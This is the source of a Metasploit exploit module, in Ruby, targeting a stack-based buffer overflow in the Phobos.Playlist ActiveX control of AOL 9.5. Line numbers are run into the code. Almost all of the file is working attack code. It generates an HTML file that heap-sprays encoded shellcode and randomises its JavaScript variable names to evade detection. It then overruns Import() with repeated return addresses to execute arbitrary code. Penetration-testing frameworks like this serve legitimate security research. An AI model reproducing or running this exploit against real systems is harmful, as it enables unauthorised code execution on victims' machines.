Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# aol_phobos_bof.rb7#8# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework9#10# Tested successfully on the following platforms:11# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP312#13# Phobos.dll version tested:14# File Version: 9.5.0.115# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C16# RegKey Safe for Script: False17# RegKey Safe for Init: False18# Implements IObjectSafety: False19# KillBitSet: False20#21# Due to the safe for initialization and safe for scripting settings of this ActiveX control,22# exploitation is possible only from Local Machine Zone, which means the victim must run the23# generated exploit file locally.24#25# Trancer26# http://www.rec-sec.com27##2829class MetasploitModule < Msf::Exploit::Remote30Rank = AverageRanking3132include Msf::Exploit::FILEFORMAT3334def initialize(info = {})35super(36update_info(37info,38'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',39'Description' => %q{40This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.41By setting an overly long value to 'Import()', an attacker can overrun a buffer42and execute arbitrary code.4344NOTE: This ActiveX control is NOT marked safe for scripting or initialization.45},46'License' => MSF_LICENSE,47'Author' => [48'Trancer <mtrancer[at]gmail.com>'49],50'References' => [51[ 'OSVDB', '61964'],52[ 'EDB', '11204' ],53[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],54],55'DefaultOptions' => {56'EXITFUNC' => 'process',57'DisablePayloadHandler' => true58},59'Payload' => {60'Space' => 1024,61'BadChars' => "\x00\x09\x0a\x0d'\\",62'StackAdjustment' => -3500,63},64'Platform' => 'win',65'Targets' => [66[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]67],68'DisclosureDate' => '2010-01-20',69'DefaultTarget' => 0,70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),81]82)83end8485def exploit86# Encode the shellcode87shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8889# Setup exploit buffers90nops = Rex::Text.to_unescape([target.ret].pack('V'))91ret = Rex::Text.uri_encode([target.ret].pack('L'))92blocksize = 0x4000093fillto = 50094offset = target['Offset']9596# Randomize the javascript variable names97phobos = rand_text_alpha(rand(100) + 1)98j_shellcode = rand_text_alpha(rand(100) + 1)99j_nops = rand_text_alpha(rand(100) + 1)100j_ret = rand_text_alpha(rand(100) + 1)101j_headersize = rand_text_alpha(rand(100) + 1)102j_slackspace = rand_text_alpha(rand(100) + 1)103j_fillblock = rand_text_alpha(rand(100) + 1)104j_block = rand_text_alpha(rand(100) + 1)105j_memory = rand_text_alpha(rand(100) + 1)106j_counter = rand_text_alpha(rand(30) + 2)107j_bla = rand_text_alpha(rand(8) + 4)108109html = %Q|<html>110<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>111<script>112#{j_shellcode}=unescape('#{shellcode}');113#{j_nops}=unescape('#{nops}');114#{j_headersize}=20;115#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;116while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};117#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});118#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});119while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};120#{j_memory}=new Array();121for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};122123var #{j_ret}='';124for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');125#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');126</script>127</html>|128129print_status("Creating '#{datastore['FILENAME']}' file ...")130131file_create(html)132end133end134135136